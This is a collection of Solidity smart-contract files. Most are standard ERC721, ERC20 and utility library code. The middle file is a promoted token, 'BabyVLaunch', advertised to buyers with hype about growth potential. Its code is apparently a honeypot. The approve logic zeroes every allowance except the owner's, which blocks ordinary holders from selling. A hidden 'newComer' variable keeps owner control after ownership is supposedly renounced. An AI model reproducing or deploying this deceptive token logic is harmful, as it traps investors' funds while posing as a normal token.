(reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; /** * @dev ERC721 token with storage based token URI management. */ abstract contract ERC721URIStorage is ERC721 { using Strings for uint256; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }

True

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/* BabyVLaunch.com To get an idea about the potential of this baby 👼 all you have to do is look at VLaunch. - Launch date: December 27 ⏳ - Launching on #ETH ✅ - Low initial market cap so this baby has room to grow ✅ - Experienced team ✅ */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract BabyVLaunch is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**6* 10**18; string private _name = 'Baby VLaunch ' ; string private _symbol = 'BABYVPAD '; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }

True

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// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address 